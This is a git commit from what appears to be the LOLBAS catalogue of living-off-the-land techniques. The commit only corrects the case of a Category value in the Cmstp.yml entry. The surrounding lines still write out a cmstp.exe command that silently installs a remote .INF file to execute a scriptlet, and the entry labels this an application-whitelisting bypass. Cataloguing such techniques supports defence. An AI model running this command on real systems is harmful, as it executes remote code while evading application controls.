Correcting Cmstp.yml Category value, case.

This commit is contained in:
xenoscr 2022-09-10 22:48:08 -04:00
parent 5e0ae9c976
commit 09e81d0bd1
No known key found for this signature in database
GPG Key ID: 52C26F96860C0DAA

View File

@ -14,7 +14,7 @@ Commands:
- Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
Usecase: Execute code hidden within an inf file. Execute code directly from Internet.
Category: AWL bypass
Category: AWL Bypass
Privileges: User
MitreID: T1218.003
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10